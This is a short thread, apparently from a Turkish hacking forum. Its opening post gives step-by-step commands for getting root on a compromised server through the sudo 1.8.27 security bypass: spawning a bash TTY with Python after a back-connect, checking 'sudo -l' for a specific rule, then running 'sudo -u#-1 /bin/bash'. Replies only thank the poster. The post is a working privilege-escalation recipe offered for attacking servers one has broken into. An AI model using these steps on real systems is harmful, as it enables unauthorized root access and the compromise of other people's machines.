sudo 1.8.27 - Security Bypass

[HaCkEr_33]

sudo açığı olan serverı rootlamak.

BackConnect oldugumuz serverın terminaline ilk önce python -c 'import pty;pty.spawn("/bin/bash")' yazıyoruz
sonraysa :
sudo -l yaziyoruz eğer karşımıza
root ALL=(ALL:ALL) ALL

hacker ALL=(ALL,!root) /bin/bash bu tip yazı çıkıyosa demekki sudo açıgı vardır. Bunun içinde terminale :
sudo -u#-1 /bin/bash

yazıyoruz ve root' olmuş oluyoruz

 

[Ensigma]

Adamsn

 

[KocaReis]

Eline sağlık 33

 

[Can]

eline sağlık kardeşim